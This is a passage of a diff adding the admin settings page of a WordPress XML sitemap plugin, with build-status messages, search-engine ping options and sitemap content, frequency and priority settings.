+							$head=str_replace("%date%",date(get_option('date_format'),$st) . " " . date(get_option('time_format'),$st),__("Result of the last build process, started on %date%.",'sitemap'));
+						}
+			
+						$this->HtmlPrintBoxHeader('sm_rebuild',$head); ?>
+						<ul>
+							<?php
+	
+
+							if($status == null) {
+								echo "<li>" . str_replace("%s",wp_nonce_url($this->sg->GetBackLink() . "&sm_rebuild=true&noheader=true",'sitemap'),__('The sitemap wasn\'t built yet. <a href="%s">Click here</a> to build it the first time.','sitemap')) . "</li>";
+							}  else {
+								if($status->_endTime !== 0) {
+									if($status->_usedXml) {
+										if($status->_xmlSuccess) {
+											$ft = is_readable($status->_xmlPath)?filemtime($status->_xmlPath):false;
+											if($ft!==false) echo "<li>" . str_replace("%url%",$status->_xmlUrl,str_replace("%date%",date(get_option('date_format'),$ft) . " " . date(get_option('time_format'),$ft),__("Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>.",'sitemap'))) . "</li>";
+											else echo "<li class=\"sm_error\">" . __("The last build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?",'sitemap') . "</li>";
+										} else {
+											echo "<li class=\"sm_error\">" . str_replace("%url%",$this->sg->GetRedirectLink('sitemap-help-files'),__("There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>",'sitemap')) . "</li>";
+										}
+									}
+									
+									if($status->_usedZip) {
+										if($status->_zipSuccess) {
+											$ft = is_readable($status->_zipPath)?filemtime($status->_zipPath):false;
+											if($ft !== false) echo "<li>" . str_replace("%url%",$status->_zipUrl,str_replace("%date%",date(get_option('date_format'),$ft) . " " . date(get_option('time_format'),$ft),__("Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>.",'sitemap'))) . "</li>";
+											else echo "<li class=\"sm_error\">" . __("The last zipped build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?",'sitemap') . "</li>";
+										} else {
+											echo "<li class=\"sm_error\">" . str_replace("%url%",$this->sg->GetRedirectLink('sitemap-help-files'),__("There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>",'sitemap')) . "</li>";
+										}
+									}
+									
+									if($status->_usedGoogle) {
+										if($status->_gooogleSuccess) {
+											echo "<li>" .__("Google was <b>successfully notified</b> about changes.",'sitemap'). "</li>";
+											$gt = $status->GetGoogleTime();
+											if($gt>4) {
+												echo "<li class=\sm_optimize\">" . str_replace("%time%",$gt,__("It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time.",'sitemap')) . "</li>";
+											}
+										} else {
+											echo "<li class=\"sm_error\">" . str_replace("%s",$status->_googleUrl,__('There was a problem while notifying Google. <a href="%s">View result</a>','sitemap')) . "</li>";
+										}
+									}
+									
+									if($status->_usedYahoo) {
+										if($status->_yahooSuccess) {
+											echo "<li>" .__("YAHOO was <b>successfully notified</b> about changes.",'sitemap'). "</li>";
+											$yt = $status->GetYahooTime();
+											if($yt>4) {
+												echo "<li class=\sm_optimize\">" . str_replace("%time%",$yt,__("It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time.",'sitemap')) . "</li>";
+											}
+										} else {
+											echo "<li class=\"sm_error\">" . str_replace("%s",$status->_yahooUrl,__('There was a problem while notifying YAHOO. <a href="%s">View result</a>','sitemap')) . "</li>";
+										}
+									}
+									
+									if($status->_usedMsn) {
+										if($status->_msnSuccess) {
+											echo "<li>" .__("Bing was <b>successfully notified</b> about changes.",'sitemap'). "</li>";
+											$at = $status->GetMsnTime();
+											if($at>4) {
+												echo "<li class=\sm_optimize\">" . str_replace("%time%",$at,__("It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time.",'sitemap')) . "</li>";
+											}
+										} else {
+											echo "<li class=\"sm_error\">" . str_replace("%s",$status->_msnUrl,__('There was a problem while notifying Bing. <a href="%s">View result</a>','sitemap')) . "</li>";
+										}
+									}
+									
+									if($status->_usedAsk) {
+										if($status->_askSuccess) {
+											echo "<li>" .__("Ask.com was <b>successfully notified</b> about changes.",'sitemap'). "</li>";
+											$at = $status->GetAskTime();
+											if($at>4) {
+												echo "<li class=\sm_optimize\">" . str_replace("%time%",$at,__("It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time.",'sitemap')) . "</li>";
+											}
+										} else {
+											echo "<li class=\"sm_error\">" . str_replace("%s",$status->_askUrl,__('There was a problem while notifying Ask.com. <a href="%s">View result</a>','sitemap')) . "</li>";
+										}
+									}
+									
+									$et = $status->GetTime();
+									$mem = $status->GetMemoryUsage();
+									
+									if($mem > 0) {
+										echo "<li>" .str_replace(array("%time%","%memory%"),array($et,$mem),__("The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory.",'sitemap')). "</li>";
+									} else {
+										echo "<li>" .str_replace("%time%",$et,__("The building process took about <b>%time% seconds</b> to complete.",'sitemap')). "</li>";
+									}
+									
+									if(!$status->_hasChanged) {
+										echo "<li>" . __("The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged.",'sitemap'). "</li>";
+									}
+													
+								} else {
+									if($this->sg->GetOption("b_auto_delay")) {
+										$st = ($status->GetStartTime() - time()) * -1;
+										//If the building process runs in background and was started within the last 45 seconds, the sitemap might not be completed yet...
+										if($st < 45) {
+											echo '<li class="">'. __("The building process might still be active! Reload the page in a few seconds and check if something has changed.",'sitemap') . '</li>';
+										}
+									}
+									echo '<li class="sm_error">'. str_replace("%url%",$this->sg->GetRedirectLink('sitemap-help-memtime'),__("The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>",'sitemap')) . '</li>';
+									if($status->_memoryUsage > 0) {
+										echo '<li class="sm_error">'. str_replace(array("%memused%","%memlimit%"),array($status->GetMemoryUsage(),ini_get('memory_limit')),__("The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%.",'sitemap')) . '</li>';
+									}
+									
+									if($status->_lastTime > 0) {
+										echo '<li class="sm_error">'. str_replace(array("%timeused%","%timelimit%"),array($status->GetLastTime(),ini_get('max_execution_time')),__("The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds.",'sitemap')) . '</li>';
+									}
+									
+									if($status->GetLastPost() > 0) {
+										echo '<li class="sm_optimize">'. str_replace("%lastpost%",$status->GetLastPost(),__("The script stopped around post number %lastpost% (+/- 100)",'sitemap')) . '</li>';
+									}
+								}
+								echo "<li>" . str_replace("%s",wp_nonce_url($this->sg->GetBackLink() . "&sm_rebuild=true&noheader=true",'sitemap'),__('If you changed something on your server or blog, you should <a href="%s">rebuild the sitemap</a> manually.','sitemap')) . "</li>";
+							}
+							echo "<li>" . str_replace("%d",wp_nonce_url($this->sg->GetBackLink() . "&sm_rebuild=true&sm_do_debug=true",'sitemap'),__('If you encounter any problems with the build process you can use the <a href="%d">debug function</a> to get more information.','sitemap')) . "</li>";
+							?>
+
+						</ul>
+					<?php $this->HtmlPrintBoxFooter(); ?>
+						
+					<!-- Basic Options -->
+					<?php $this->HtmlPrintBoxHeader('sm_basic_options',__('Basic Options', 'sitemap')); ?>
+					
+						<b><?php _e('Sitemap files:','sitemap'); ?></b> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-files'); ?>"><?php _e('Learn more','sitemap'); ?></a>
+						<ul>
+							<li>
+								<label for="sm_b_xml">
+									<input type="checkbox" id="sm_b_xml" name="sm_b_xml" <?php echo ($this->sg->GetOption("b_xml")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Write a normal XML file (your filename)', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_b_gzip">
+									<input type="checkbox" id="sm_b_gzip" name="sm_b_gzip" <?php if(function_exists("gzencode")) { echo ($this->sg->GetOption("b_gzip")==true?"checked=\"checked\"":""); } else echo "disabled=\"disabled\"";  ?> />
+									<?php _e('Write a gzipped file (your filename + .gz)', 'sitemap') ?>
+								</label>
+							</li>
+						</ul>
+						<b><?php _e('Building mode:','sitemap'); ?></b> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-process'); ?>"><?php _e('Learn more','sitemap'); ?></a>
+						<ul>
+							<li>
+								<label for="sm_b_auto_enabled">
+									<input type="checkbox" id="sm_b_auto_enabled" name="sm_b_auto_enabled" <?php echo ($this->sg->GetOption("b_auto_enabled")==true?"checked=\"checked\"":""); ?> />
+									<?php _e('Rebuild sitemap if you change the content of your blog', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_b_manual_enabled">
+									<input type="hidden" name="sm_b_manual_key" value="<?php echo $this->sg->GetOption("b_manual_key"); ?>" />
+									<input type="checkbox" id="sm_b_manual_enabled" name="sm_b_manual_enabled" <?php echo ($this->sg->GetOption("b_manual_enabled")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Enable manual sitemap building via GET Request', 'sitemap') ?>
+								</label>
+								<a href="javascript:void(document.getElementById('sm_manual_help').style.display='');">[?]</a>
+								<span id="sm_manual_help" style="display:none;"><br />
+								<?php echo str_replace("%1",trailingslashit(get_bloginfo('siteurl')) . "?sm_command=build&amp;sm_key=" . $this->sg->GetOption("b_manual_key"),__('This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href="%1">%1</a> Please check the result box above to see if sitemap was successfully built.', 'sitemap')); ?>
+								</span>
+							</li>
+						</ul>
+						<b><?php _e('Update notification:','sitemap'); ?></b> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-ping'); ?>"><?php _e('Learn more','sitemap'); ?></a>
+						<ul>
+							<li>
+								<input type="checkbox" id="sm_b_ping" name="sm_b_ping" <?php echo ($this->sg->GetOption("b_ping")==true?"checked=\"checked\"":"") ?> />
+								<label for="sm_b_ping"><?php _e('Notify Google about updates of your Blog', 'sitemap') ?></label><br />
+								<small><?php echo str_replace("%s",$this->sg->GetRedirectLink('sitemap-gwt'),__('No registration required, but you can join the <a href="%s">Google Webmaster Tools</a> to check crawling statistics.','sitemap')); ?></small>
+							</li>
+							<li>
+								<input type="checkbox" id="sm_b_pingmsn" name="sm_b_pingmsn" <?php echo ($this->sg->GetOption("b_pingmsn")==true?"checked=\"checked\"":"") ?> />
+								<label for="sm_b_pingmsn"><?php _e('Notify Bing (formerly MSN Live Search) about updates of your Blog', 'sitemap') ?></label><br />
+								<small><?php echo str_replace("%s",$this->sg->GetRedirectLink('sitemap-lwt'),__('No registration required, but you can join the <a href="%s">Bing Webmaster Tools</a> to check crawling statistics.','sitemap')); ?></small>
+							</li>
+							<li>
+								<input type="checkbox" id="sm_b_pingask" name="sm_b_pingask" <?php echo ($this->sg->GetOption("b_pingask")==true?"checked=\"checked\"":"") ?> />
+								<label for="sm_b_pingask"><?php _e('Notify Ask.com about updates of your Blog', 'sitemap') ?></label><br />
+								<small><?php _e('No registration required.','sitemap'); ?></small>
+							</li>
+							<li>
+								<input type="checkbox" id="sm_b_pingyahoo" name="sm_b_pingyahoo" <?php echo ($this->sg->GetOption("b_pingyahoo")==true?"checked=\"checked\"":"") ?> />
+								<label for="sm_b_pingyahoo"><?php _e('Notify YAHOO about updates of your Blog', 'sitemap') ?></label><br />
+								<label for="sm_b_yahookey"><?php _e('Your Application ID:', 'sitemap') ?> <input type="text" name="sm_b_yahookey" id="sm_b_yahookey" value="<?php echo $this->sg->GetOption("b_yahookey"); ?>" /></label><br />
+								<small><?php echo str_replace(array("%s1","%s2"),array($this->sg->GetRedirectLink('sitemap-ykr'),' (<a href="http://developer.yahoo.net/about/">Web Services by Yahoo!</a>)'),__('Don\'t you have such a key? <a href="%s1">Request one here</a>! %s2','sitemap')); ?></small>
+							</li>
+							<li>
+								<label for="sm_b_robots">
+								<input type="checkbox" id="sm_b_robots" name="sm_b_robots" <?php echo ($this->sg->GetOption("b_robots")==true?"checked=\"checked\"":"") ?> />
+								<?php _e("Add sitemap URL to the virtual robots.txt file.",'sitemap'); ?>
+								</label>
+
+								<br />
+								<small><?php _e('The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!','sitemap'); ?></small>
+							</li>
+						</ul>
+						<b><?php _e('Advanced options:','sitemap'); ?></b> <a href="<?php echo $this->sg->GetRedirectLink('sitemap-help-options-adv'); ?>"><?php _e('Learn more','sitemap'); ?></a>
+						<ul>
+							<li>
+								<label for="sm_b_max_posts"><?php _e('Limit the number of posts in the sitemap:', 'sitemap') ?> <input type="text" name="sm_b_max_posts" id="sm_b_max_posts" style="width:40px;" value="<?php echo ($this->sg->GetOption("b_max_posts")<=0?"":$this->sg->GetOption("b_max_posts")); ?>" /></label> (<?php echo __('Newer posts will be included first', 'sitemap'); ?>)
+							</li>
+							<li>
+								<label for="sm_b_memory"><?php _e('Try to increase the memory limit to:', 'sitemap') ?> <input type="text" name="sm_b_memory" id="sm_b_memory" style="width:40px;" value="<?php echo $this->sg->GetOption("b_memory"); ?>" /></label> (<?php echo htmlspecialchars(__('e.g. "4M", "16M"', 'sitemap')); ?>)
+							</li>
+							<li>
+								<label for="sm_b_time"><?php _e('Try to increase the execution time limit to:', 'sitemap') ?> <input type="text" name="sm_b_time" id="sm_b_time" style="width:40px;" value="<?php echo ($this->sg->GetOption("b_time")===-1?'':$this->sg->GetOption("b_time")); ?>" /></label> (<?php echo htmlspecialchars(__('in seconds, e.g. "60" or "0" for unlimited', 'sitemap')) ?>)
+							</li>
+							<li>
+								<?php $useDefStyle = ($this->sg->GetDefaultStyle() && $this->sg->GetOption('b_style_default')===true); ?>
+								<label for="sm_b_style"><?php _e('Include a XSLT stylesheet:', 'sitemap') ?> <input <?php echo ($useDefStyle?'disabled="disabled" ':'') ?> type="text" name="sm_b_style" id="sm_b_style"  value="<?php echo $this->sg->GetOption("b_style"); ?>" /></label>
+								(<?php _e('Full or relative URL to your .xsl file', 'sitemap') ?>) <?php if($this->sg->GetDefaultStyle()): ?><label for="sm_b_style_default"><input <?php echo ($useDefStyle?'checked="checked" ':'') ?> type="checkbox" id="sm_b_style_default" name="sm_b_style_default" onclick="document.getElementById('sm_b_style').disabled = this.checked;" /> <?php _e('Use default', 'sitemap') ?> <?php endif; ?>
+							</li>
+							<li>
+								<label for="sm_b_safemode">
+									<?php $forceSafeMode = (floatval($wp_version)<2.2); ?>
+									<input type="checkbox" <?php if($forceSafeMode):?>disabled="disabled"<?php endif; ?> id="sm_b_safemode" name="sm_b_safemode" <?php echo ($this->sg->GetOption("b_safemode")==true||$forceSafeMode?"checked=\"checked\"":""); ?> />
+									<?php _e('Enable MySQL standard mode. Use this only if you\'re getting MySQL errors. (Needs much more memory!)', 'sitemap') ?>
+									<?php if($forceSafeMode):?> <br /><small><?php _e("Upgrade WordPress at least to 2.2 to enable the faster MySQL access",'sitemap'); ?></small><?php endif; ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_b_auto_delay">
+								<?php $forceDirect = (floatval($wp_version) < 2.1);?>
+									<input type="checkbox" <?php if($forceDirect):?>disabled="disabled"<?php endif; ?> id="sm_b_auto_delay" name="sm_b_auto_delay" <?php echo ($this->sg->GetOption("b_auto_delay")==true&&!$forceDirect?"checked=\"checked\"":""); ?> />
+									<?php _e('Build the sitemap in a background process (You don\'t have to wait when you save a post)', 'sitemap') ?>
+									<?php if($forceDirect):?> <br /><small><?php _e("Upgrade WordPress at least to 2.1 to enable background building",'sitemap'); ?></small><?php endif; ?>
+								</label>
+							</li>
+						</ul>
+						
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					<?php $this->HtmlPrintBoxHeader('sm_pages',__('Additional pages', 'sitemap')); ?>
+		
+						<?php
+						_e('Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com','sitemap');
+						echo "<ul><li>";
+						echo "<strong>" . __('Note','sitemap'). "</strong>: ";
+						_e("If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!",'sitemap');
+						echo "</li><li>";
+						echo "<strong>" . __('URL to the page','sitemap'). "</strong>: ";
+						_e("Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home ",'sitemap');
+						echo "</li><li>";
+						echo "<strong>" . __('Priority','sitemap') . "</strong>: ";
+						_e("Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint.",'sitemap');
+						echo "</li><li>";
+						echo "<strong>" . __('Last Changed','sitemap'). "</strong>: ";
+						_e("Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional).",'sitemap');
+						
+						echo "</li></ul>";
+						
+						
+						?>
+						<script type="text/javascript">
+							//<![CDATA[
+							<?php
+							$freqVals = "'" . implode("','",array_keys($this->sg->_freqNames)). "'";
+							$freqNames = "'" . implode("','",array_values($this->sg->_freqNames)). "'";
+							?>
+
+							var changeFreqVals = new Array( <?php echo $freqVals; ?> );
+							var changeFreqNames= new Array( <?php echo $freqNames; ?> );
+							
+							var priorities= new Array(0 <?php for($i=0.1; $i<1; $i+=0.1) { echo "," .  number_format($i,1,".",""); } ?>);
+							
+							var pages = [ <?php
+								if(count($this->sg->_pages)>0) {
+									for($i=0; $i<count($this->sg->_pages); $i++) {
+										$v=&$this->sg->_pages[$i];
+										if($i>0) echo ",";
+										echo '{url:"' . $v->getUrl() . '", priority:"' . number_format($v->getPriority(),1,".","") . '", changeFreq:"' . $v->getChangeFreq() . '", lastChanged:"' . ($v!=null && $v->getLastMod()>0?date("Y-m-d",$v->getLastMod()):"") . '"}';
+									}
+								}
+							?> ];
+							//]]>
+						</script>
+						<script type="text/javascript" src="<?php echo $this->sg->GetPluginUrl(); ?>img/sitemap.js"></script>
+						<table width="100%" cellpadding="3" cellspacing="3" id="sm_pageTable">
+							<tr>
+								<th scope="col"><?php _e('URL to the page','sitemap'); ?></th>
+								<th scope="col"><?php _e('Priority','sitemap'); ?></th>
+								<th scope="col"><?php _e('Change Frequency','sitemap'); ?></th>
+								<th scope="col"><?php _e('Last Changed','sitemap'); ?></th>
+								<th scope="col"><?php _e('#','sitemap'); ?></th>
+							</tr>
+							<?php
+								if(count($this->sg->_pages)<=0) { ?>
+									<tr>
+										<td colspan="5" align="center"><?php _e('No pages defined.','sitemap') ?></td>
+									</tr><?php
+								}
+							?>
+						</table>
+						<a href="javascript:void(0);" onclick="sm_addPage();"><?php _e("Add new page",'sitemap'); ?></a>
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					
+					<!-- AutoPrio Options -->
+					<?php $this->HtmlPrintBoxHeader('sm_postprio',__('Post Priority', 'sitemap')); ?>
+	
+						<p><?php _e('Please select how the priority of each post should be calculated:', 'sitemap') ?></p>
+						<ul>
+							<li><p><input type="radio" name="sm_b_prio_provider" id="sm_b_prio_provider__0" value="" <?php echo $this->sg->HtmlGetChecked($this->sg->GetOption("b_prio_provider"),"") ?> /> <label for="sm_b_prio_provider__0"><?php _e('Do not use automatic priority calculation', 'sitemap') ?></label><br /><?php _e('All posts will have the same priority which is defined in &quot;Priorities&quot;', 'sitemap') ?></p></li>
+							<?php
+							for($i=0; $i<count($this->sg->_prioProviders); $i++) {
+								echo "<li><p><input type=\"radio\" id=\"sm_b_prio_provider_$i\" name=\"sm_b_prio_provider\" value=\"" . $this->sg->_prioProviders[$i] . "\" " .  $this->sg->HtmlGetChecked($this->sg->GetOption("b_prio_provider"),$this->sg->_prioProviders[$i]) . " /> <label for=\"sm_b_prio_provider_$i\">" . call_user_func(array(&$this->sg->_prioProviders[$i], 'getName'))  . "</label><br />" .  call_user_func(array(&$this->sg->_prioProviders[$i], 'getDescription')) . "</p></li>";
+							}
+							?>
+						</ul>
+					<?php $this->HtmlPrintBoxFooter(); ?>
+				
+						
+					<!-- Location Options -->
+					<?php $this->HtmlPrintBoxHeader('sm_location',__('Location of your sitemap file', 'sitemap')); ?>
+		
+						<div>
+							<b><label for="sm_location_useauto"><input type="radio" id="sm_location_useauto" name="sm_b_location_mode" value="auto" <?php echo ($this->sg->GetOption("b_location_mode")=="auto"?"checked=\"checked\"":"") ?> /> <?php _e('Automatic detection','sitemap') ?></label></b>
+							<ul>
+								<li>
+									<label for="sm_b_filename">
+										<?php _e('Filename of the sitemap file', 'sitemap') ?>
+										<input type="text" id="sm_b_filename" name="sm_b_filename" value="<?php echo $this->sg->GetOption("b_filename"); ?>" />
+									</label><br />
+									<?php _e('Detected Path', 'sitemap') ?>: <?php echo $this->sg->getXmlPath(true); ?><br /><?php _e('Detected URL', 'sitemap') ?>: <a href="<?php echo $this->sg->getXmlUrl(true); ?>"><?php echo $this->sg->getXmlUrl(true); ?></a>
+								</li>
+							</ul>
+						</div>
+						<div>
+							<b><label for="sm_location_usemanual"><input type="radio" id="sm_location_usemanual" name="sm_b_location_mode" value="manual" <?php echo ($this->sg->GetOption("b_location_mode")=="manual"?"checked=\"checked\"":"") ?>  /> <?php _e('Custom location','sitemap') ?></label></b>
+							<ul>
+								<li>
+									<label for="sm_b_filename_manual">
+										<?php _e('Absolute or relative path to the sitemap file, including name.','sitemap');
+										echo "<br />";
+										_e('Example','sitemap');
+										echo ": /var/www/htdocs/wordpress/sitemap.xml"; ?><br />
+										<input style="width:70%" type="text" id="sm_b_filename_manual" name="sm_b_filename_manual" value="<?php echo (!$this->sg->GetOption("b_filename_manual")?$this->sg->getXmlPath():$this->sg->GetOption("b_filename_manual")); ?>" />
+									</label>
+								</li>
+								<li>
+									<label for="sm_b_fileurl_manual">
+										<?php _e('Complete URL to the sitemap file, including name.','sitemap');
+										echo "<br />";
+										_e('Example','sitemap');
+										echo ": http://www.yourdomain.com/sitemap.xml"; ?><br />
+										<input style="width:70%" type="text" id="sm_b_fileurl_manual" name="sm_b_fileurl_manual" value="<?php echo (!$this->sg->GetOption("b_fileurl_manual")?$this->sg->getXmlUrl():$this->sg->GetOption("b_fileurl_manual")); ?>" />
+									</label>
+								</li>
+							</ul>
+						</div>
+						
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					<!-- Includes -->
+					<?php $this->HtmlPrintBoxHeader('sm_includes',__('Sitemap Content', 'sitemap')); ?>
+					
+						<ul>
+							<li>
+								<label for="sm_in_home">
+									<input type="checkbox" id="sm_in_home" name="sm_in_home"  <?php echo ($this->sg->GetOption("in_home")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include homepage', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_in_posts">
+									<input type="checkbox" id="sm_in_posts" name="sm_in_posts"  <?php echo ($this->sg->GetOption("in_posts")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include posts', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_in_posts_sub">
+									<input type="checkbox" id="sm_in_posts_sub" name="sm_in_posts_sub"  <?php echo ($this->sg->GetOption("in_posts_sub")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include following pages of multi-page posts (Increases build time and memory usage!)', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_in_pages">
+									<input type="checkbox" id="sm_in_pages" name="sm_in_pages"  <?php echo ($this->sg->GetOption("in_pages")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include static pages', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_in_cats">
+									<input type="checkbox" id="sm_in_cats" name="sm_in_cats"  <?php echo ($this->sg->GetOption("in_cats")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include categories', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_in_arch">
+									<input type="checkbox" id="sm_in_arch" name="sm_in_arch"  <?php echo ($this->sg->GetOption("in_arch")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include archives', 'sitemap') ?>
+								</label>
+							</li>
+							<?php if($this->sg->IsTaxonomySupported()): ?>
+							<li>
+								<label for="sm_in_tags">
+									<input type="checkbox" id="sm_in_tags" name="sm_in_tags"  <?php echo ($this->sg->GetOption("in_tags")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include tag pages', 'sitemap') ?>
+								</label>
+							</li>
+							<?php endif; ?>
+							<li>
+								<label for="sm_in_auth">
+									<input type="checkbox" id="sm_in_auth" name="sm_in_auth"  <?php echo ($this->sg->GetOption("in_auth")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include author pages', 'sitemap') ?>
+								</label>
+							</li>
+						</ul>
+						<b><?php _e('Further options', 'sitemap') ?>:</b>
+						<ul>
+							<li>
+								<label for="sm_in_lastmod">
+									<input type="checkbox" id="sm_in_lastmod" name="sm_in_lastmod"  <?php echo ($this->sg->GetOption("in_lastmod")==true?"checked=\"checked\"":"") ?> />
+									<?php _e('Include the last modification time.', 'sitemap') ?>
+								</label><br />
+								<small><?php _e('This is highly recommended and helps the search engines to know when your content has changed. This option affects <i>all</i> sitemap entries.', 'sitemap') ?></small>
+							</li>
+						</ul>
+						
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					<!-- Excluded Items -->
+					<?php $this->HtmlPrintBoxHeader('sm_excludes',__('Excluded items', 'sitemap')); ?>
+					
+						<b><?php _e('Excluded categories', 'sitemap') ?>:</b>
+						<?php if(version_compare($wp_version,"2.5.1",">=")): ?>
+							<cite style="display:block; margin-left:40px;"><?php _e("Note","sitemap") ?>: <?php _e("Using this feature will increase build time and memory usage!","sitemap"); ?></cite>
+							<div style="border-color:#CEE1EF; border-style:solid; border-width:2px; height:10em; margin:5px 0px 5px 40px; overflow:auto; padding:0.5em 0.5em;">
+							<ul>
+								<?php wp_category_checklist(0,0,$this->sg->GetOption("b_exclude_cats"),false); ?>
+							</ul>
+							</div>
+						<?php else: ?>
+							<ul><li><?php  echo sprintf(__("This feature requires at least WordPress 2.5.1, you are using %s","sitemap"),$wp_version); ?></li></ul>
+						<?php endif; ?>
+						
+						<b><?php _e("Exclude posts","sitemap"); ?>:</b>
+						<div style="margin:5px 0 13px 40px;">
+							<label for="sm_b_exclude"><?php _e('Exclude the following posts or pages:', 'sitemap') ?> <small><?php _e('List of IDs, separated by comma', 'sitemap') ?></small><br />
+							<input name="sm_b_exclude" id="sm_b_exclude" type="text" style="width:400px;" value="<?php echo implode(",",$this->sg->GetOption("b_exclude")); ?>" /></label><br />
+							<cite><?php _e("Note","sitemap") ?>: <?php _e("Child posts won't be excluded automatically!","sitemap"); ?></cite>
+						</div>
+						
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					<!-- Change frequencies -->
+					<?php $this->HtmlPrintBoxHeader('sm_change_frequencies',__('Change frequencies', 'sitemap')); ?>
+
+						<p>
+							<b><?php _e('Note', 'sitemap') ?>:</b>
+							<?php _e('Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked "hourly" less frequently than that, and they may crawl pages marked "yearly" more frequently than that. It is also likely that crawlers will periodically crawl pages marked "never" so that they can handle unexpected changes to those pages.', 'sitemap') ?>
+						</p>
+						<ul>
+							<li>
+								<label for="sm_cf_home">
+									<select id="sm_cf_home" name="sm_cf_home"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_home")); ?></select>
+									<?php _e('Homepage', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_cf_posts">
+									<select id="sm_cf_posts" name="sm_cf_posts"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_posts")); ?></select>
+									<?php _e('Posts', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_cf_pages">
+									<select id="sm_cf_pages" name="sm_cf_pages"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_pages")); ?></select>
+									<?php _e('Static pages', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_cf_cats">
+									<select id="sm_cf_cats" name="sm_cf_cats"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_cats")); ?></select>
+									<?php _e('Categories', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_cf_arch_curr">
+									<select id="sm_cf_arch_curr" name="sm_cf_arch_curr"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_arch_curr")); ?></select>
+									<?php _e('The current archive of this month (Should be the same like your homepage)', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_cf_arch_old">
+									<select id="sm_cf_arch_old" name="sm_cf_arch_old"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_arch_old")); ?></select>
+									<?php _e('Older archives (Changes only if you edit an old post)', 'sitemap') ?>
+								</label>
+							</li>
+							<?php if($this->sg->IsTaxonomySupported()): ?>
+							<li>
+								<label for="sm_cf_tags">
+									<select id="sm_cf_tags" name="sm_cf_tags"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_tags")); ?></select>
+									<?php _e('Tag pages', 'sitemap') ?>
+								</label>
+							</li>
+							<?php endif; ?>
+							<li>
+								<label for="sm_cf_auth">
+									<select id="sm_cf_auth" name="sm_cf_auth"><?php $this->sg->HtmlGetFreqNames($this->sg->GetOption("cf_auth")); ?></select>
+									<?php _e('Author pages', 'sitemap') ?>
+								</label>
+							</li>
+						</ul>
+						
+					<?php $this->HtmlPrintBoxFooter(); ?>
+					
+					<!-- Priorities -->
+					<?php $this->HtmlPrintBoxHeader('sm_priorities',__('Priorities', 'sitemap')); ?>
+						<ul>
+							<li>
+								<label for="sm_pr_home">
+									<select id="sm_pr_home" name="sm_pr_home"><?php $this->sg->HtmlGetPriorityValues($this->sg->GetOption("pr_home")); ?></select>
+									<?php _e('Homepage', 'sitemap') ?>
+								</label>
+							</li>
+							<li>
+								<label for="sm_pr_posts">
